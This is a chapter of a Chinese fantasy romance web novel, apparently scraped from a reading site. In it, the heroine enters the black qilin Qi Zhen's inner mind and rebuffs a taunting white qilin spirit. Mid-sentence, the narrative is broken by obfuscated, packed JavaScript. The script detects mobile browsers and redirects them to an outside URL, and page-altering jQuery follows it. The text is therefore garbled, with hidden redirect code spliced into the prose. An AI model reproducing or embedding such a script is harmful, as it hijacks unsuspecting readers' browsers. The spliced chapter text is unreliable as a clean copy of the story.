14.曾经沧海难为水
作品:《大小姐的恶兽驯化指南》 伶州钥从未见过这样的亓镇。
在她的印象里,这只黑麒麟平日里总是一副不可一世的傲慢模样,从未流露过如此崩溃的神色。此刻他整个人蜷缩在偏殿的角落,完全不似威震千古的凶兽该有的样子,倒像是一只被困在雨夜,受噩梦缠身的小灵猫。
“妄渊......之灵?”伶州钥眉头紧锁,重复着刚刚亓镇念叨的这四个字。
《仙门通鉴》中曾有隐晦记载,那妄渊并非天地初开便存在的天然之境,而是三百年前,因那传说中的第四世家擅自开启上古禁术,导致天地崩裂、灵力逆流而形成的人为炼狱。
既是“人为”之境,那这所谓的“妄渊之灵”,便绝非是天生的神祗。她猜测,这大抵是有人在装神弄鬼,或是某种残留的诅咒意志。
“大小姐!”一旁的烬明见状,下意识地拔出白虎刀,挡在了伶州钥身前,警惕地盯着地上的亓镇,“当心!他现在的状态很不对劲。”
“别紧张。”伶州钥伸手按住烬明的肩膀,将他轻轻拨开,“亓镇他,不会伤害我们的。”
她看着地上痛苦挣扎的亓镇,眼中闪过一丝复杂的光芒。这黑麒麟虽说是嘴毒脾气臭了些,但这一路走来,若是没有他,自己早就死了八百回了。如今见他这般模样,不管是出于“契约主”的责任,还是出于那一丝说不清道不明的......情谊,此刻她都做不到坐视不理。
“阿明。”伶州钥转头看向烬明,“你现在立刻去带着还没有离开的特使,调查一下这座观内其他大殿,将这玄虚观里里外外仔细搜查一遍,看看还有没有其他线索。我留在这照看亓镇。”
烬明一愣,显然有些不放心:“可是大小姐,您一个人......”
“听话。”伶州钥打断了他,目光灼灼道,“这是命令。况且......”她晃了晃左手食指上那枚黑色的玉戒,“我现在是他的契约主,自有分寸。”
烬明看着她坚定的眼神,不禁感叹大小姐还是那个他最熟悉的样子,只要是她决定了的事,便是九头牛也拉不回来。
“......是。”烬明终究是低下了头,咬牙应道,“属下这就去。若有任何异动,请大小姐务必及时撤离,切莫一意孤行!”
说罢,他深深看了一眼地上的亓镇,提着刀转身出了偏殿。
待烬明的身影彻底消失在拐角处,伶州钥这才长长地舒了一口气,走到亓镇面前盘腿坐下。
“喂,亓镇。”伶州钥想在他面前挥挥手,结果这手伸到一半却被一层无形的屏障挡了回来。只见,亓镇周身此刻正散发着一种极其不祥的黑气。而且,那黑气中还夹杂着一股熟悉的腐朽气息。
伶州钥心中一惊,想起来了,这与她在妄渊的渊底闻到的那味道一模一样!
就在这时,她左手食指上的那枚黑戒忽然开始震颤、发烫。伶州钥闷哼一声,下意识地用右手捂住左手。
还没等她反应过来,一股巨大的吸力猛地从戒指中传来——
“怎么回事......这戒指不是用来专门压制契约感应的吗?!”紧接着,伴随着一阵天旋地转的失重感,伶州钥眼前的景象瞬间扭曲破碎。
............
不知过了多久,伶州钥试探着睁开眼,入目是一片黑寂的死水。没有天,没有地,没有光,也没有风,空气中弥漫着那股熟悉的腐烂味儿。
“这......这是又回妄渊了?”伶州钥吓得差点跳起来,观察四周良久后,才得知自己现在是以元神的形态而存在,这里也并非真正的妄渊。所以难道说,这里是......亓镇的识海?
伶州钥心中大骇。寻常修仙者的识海,或是云雾缭绕的仙山,或是波澜壮阔的大海,哪怕是凡人,也是一片清明的虚空。可亓镇的识海......竟然是一片死寂的黑水与混沌?
“亓镇?”她试探着喊了一声,没有人回应。伶州钥深吸一口气,顺着脚下那片黑水唯一的流动方向,深一脚浅一脚地往前走。
终于,在前方的黑暗深处,她看到了一个人影。那人影孤零零地端坐在这黑域中央的一张黑木宝座上。
伶州钥走近,才瞧见那宝座椅的形制古老,上面雕满了繁复的麒麟纹,像是几百年前的老物件。而端坐在这宝座之上的人,正是亓镇!
他双手无力地搭在身侧,头颅低垂,黑色的长发遮住了他的脸庞。他身上那件玄色的劲装此刻仿佛与周围的黑暗融为了一体,整个人就像是一尊失去了灵魂的雕塑。
“喂!亓镇!”伶州钥心中一紧,快步跑到宝座前,伸手想要去推他。
然而,就在她的手即将触碰到亓镇的瞬间,一阵清脆的童声忽然从宝座背后传来。
【嘻嘻,姐姐,你也来陪我玩儿吗?】
这声音听起来十分稚嫩,带着股孩童特有的奶气,在这片死寂的黑水之上显得格外突兀,突兀得让人有些毛骨悚然。
伶州钥动作一僵,猛地收回手,警惕地向后退了一步:“谁?!”
只见从那高大的椅背后面,缓缓探出了一个小脑袋。
它看起来不过一只灵猫大小,通体毛茸茸,雪白蓬松得好似一团云絮,头顶还顶着两只还未长成的小小肉角,粉粉嫩嫩的。
这是一只......小白麒麟?
伶州钥愣住了。奇了怪了,亓镇这黑漆漆、阴森森的识海里,怎么会长出这么个粉雕玉琢的小东西?
小白麒麟眨巴着大眼睛,迈着跌跌撞撞的步子,从宝座后面绕了出来,径直跑到伶州钥脚边,用它那毛茸茸的小脑袋亲昵地蹭着伶州钥的小腿,喉咙里发出“呼噜呼噜”的声音。
【姐姐,姐姐!你终于来了!】它仰起头,奶声奶气地叫道,【我可是等了你好久好久啊.....像以前一样陪我玩好不好?】
它说着,还不知从哪儿变出一个用黑色雾气凝聚成的小球,推到了伶州钥脚边。
“像......以前一样?”伶州钥低头看着这个正冲自己撒娇的小家伙,心中警兆顿生。
白麒麟?她可从没听说哪本古书里记载过白色的麒麟,更别说何曾亲眼见过了!伶州钥冷下脸,一脚将那个黑色小球踢开,“你我并未见过。你是谁?为何会在亓镇的识海里?”她指了指宝座上的男人,厉声道:“你对他做了什么?赶紧把他给我放了!”
小白麒麟看着被踢远的小球,眼神黯了下来,它委屈地耷拉下耳朵,垂下了小尾巴。它抽噎着,带着哭腔道:【姐姐之前明明最喜欢我的......说我是这世上最干净、最漂亮的孩子。】
伶州钥只觉得起了一身鸡皮疙瘩。这小家伙虽然长得可爱,但那眼神中......却透着一股与外表极其不符的阴冷。那种感觉,好似一个活了千年的老怪物正披着一张婴儿的皮,望着你笑。
【为什么呢?】
它歪着头,就这样诡异的盯着伶州钥。逐渐,那副委屈可怜的表情瞬间消失得无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162229|196464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影无踪。取而代之的,是一种极其扭曲又带着几分嘲弄的神情。
【他浑身漆黑,丑陋不堪。他是会带来灾厄的凶兽,是只会杀戮的怪物。他是甚至连自己是谁都不知道,是个没有过去的大妖怪。】
【你就不怕被他杀死吗?】
【你明明对他一无所知。】它跳到了亓镇的膝盖上,居高临下地看着伶州钥,【为什么还要他留在身边呢?】
这句话像是一根刺,精准地扎进了伶州钥的心底。
是啊,为什么呢?
她和亓镇相识不过短短几日。在这之前,他是传说中人人得而诛之的大魔头,她是高高在上的仙京大小姐。他们本该是两条平行线,甚至是对立面。她对他的过去确实一无所知,不知道他活了多久,不知道他有没有父母,不知道他经历过什么。甚至连那个“亓镇”的名字,都是在结契时被迫知道的。
【而且呀......】小白麒麟看着伶州钥沉默了,眼底的笑意更深了,它凑到伶州钥耳边,用那种娇柔却恶毒的声音低语道,【像他这种连自己是什么人都不知道,连为什么要来到这个世界上都弄不明白的坏孩子......根本就不配得到姐姐的爱。】
黑水之上,死一般的沉寂。宝座上的亓镇似是感应到了什么,身体微微颤抖,眉头紧紧锁起,仿佛正在承受着什么极大的痛苦。
小白麒麟得意地看着伶州钥,等待着她点头,等待着她对他露出厌恶的表情。
然而——
“噗......”伶州钥的肩膀开始耸动,笑声越来越大,“噗哈哈哈哈哈哈——!”
“我说你这小东西,费了半天劲把我拉进来,就是为了和我说这些?”伶州钥上前一步,一把揪住了小白麒麟后颈的皮毛,将它拎在了半空中。
“你说的没错,我确实对亓镇一无所知。”伶州钥盯着那双惊慌失措的眼睛,一字一顿地说道,“我不知道他几岁,不知道他爱吃咸还是甜,更不知道他以前得罪过多少人。”
“但是,那又如何?”
伶州钥扬起下巴,眼神亮得惊人:“我只知道一件事——现在的我,不能没有亓镇。”
“而我,只是在顺从心中的信念罢了。”
她转过头,看向宝座上上那个沉默的身影,目光变得柔和了几分道:“况且,本小姐认定的人,纵是条疯狗,那也是本小姐养的疯狗!”
这番话,如同一道惊雷,狠狠地劈开了这片死寂的黑暗。
宝座上的亓镇,猛地睁开了眼睛。那双原本空洞无神的黄金瞳里,此刻正倒映着伶州钥的背影。那背影站在黑水之上,虽然身形娇小,却仿佛在这一刻发出了比太阳还要耀眼的光芒。
她刚才说......不能没有他。
她说......他是她的人。
“......蠢女人。”亓镇动了动嘴唇,声音虽然微弱。
随着亓镇心境的变化,识海开始剧烈震荡起来,天空开始片片坍塌,脚下的黑水也开始消散。
而被伶州钥甩出去的那只小白麒麟,也随着识海的消失开始逐渐变得透明。直至在消失前的最后一刻,它仍死死地盯着伶州钥,如同诅咒般的说道:
【你会后悔的......】
【姐姐......你一定会后悔的......】
【后悔没有选择我......而是选择了那只注定会带来灾难的黑麒麟......】
......

